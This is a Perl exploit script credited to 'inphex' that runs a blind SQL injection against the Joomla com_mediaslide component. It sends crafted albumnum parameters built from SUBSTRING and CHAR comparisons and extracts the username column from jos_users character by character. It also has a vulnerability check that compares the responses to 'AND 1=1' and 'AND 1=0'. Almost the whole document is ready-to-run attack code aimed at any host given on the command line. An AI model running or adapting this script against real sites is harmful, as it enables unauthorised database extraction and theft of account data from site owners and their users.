#!/usr/bin/perl
#inphex
#joomla com_mediaslide blind sql injection
use LWP::UserAgent;
use LWP::Simple;
use Switch;
use Digest::MD5 qw(md5 md5_hex md5_base64);
print "usage: $0 -h host.com -p /\n";
### use Getopt::Long; ###
$column = "username";
$table = "jos_users";
$regex = "preview_f2";
%cm_n_ = ("-h" => "host","-p" => "path","-c" => "column","-t" => "table","-r" => "regex");
$a = 0;
foreach  (@ARGV) {
  $a++;
  while (($k, $v) = each(%cm_n_)) {
    if ($_ eq $k) {
      ${$v} = $ARGV[$a];
    }
  }
}

$i = 48;
$h = 1;
$f = 0;
$k = 0;
### Yeah,that's it... ###
while () {
    while ($i <= 90) {
    
      if(check($i,$h,1) == 1)
      {
        syswrite STDOUT,lc(chr($i));
        $h++;
      $a_chr = $a_chr.chr($i);
      } 
    
    $i++;
    
  } 
  push(@ffs,length($a_chr)); 
  if (($#ffs -1) == $ffs) {
    &check_vuln();
    exit;
  }
  $i = 48;
  
}
#/

### :D ###
sub check($$$)
{
  $i = shift;
  $h = shift;
  $m = shift;

  switch ($m)
  {
    case 1 { $query = "%20AND%20SUBSTRING((SELECT%20".$column."%20FROM%20".$table."%20LIMIT%200,1),".$h.",1)=CHAR(".$i.")"; }
  }

  $ua = LWP::UserAgent->new;
  $url = "http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1".$query."";
  $response = $ua->get($url);
  $content = $response->content;
  if($content =~ /$regex/) { return 0;} else { return 1 ;}
}
#/

sub check_vuln
{
  

  $content = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=1");
  $content1 = get("http://".$host.$path."index.php?option=com_mediaslide&act=contact&id=1&albumnum=1%20AND%201=0");

  foreach $bb1 (split(/\n/,$content)) {
    $bb = $bb.$bb1;
  }

  foreach  $yy1 (split(/\n/,$content1)) {
    $yy = $yy.$yy1;
  }

  $f =  md5_hex($bb);
  $s = md5_hex($yy);

  if ($f eq $s) {
    print "\nprobably not vulnerable";    #could be that ads,texts etc.. change
    exit;
  } else { print "\nvulnerable..."; }
}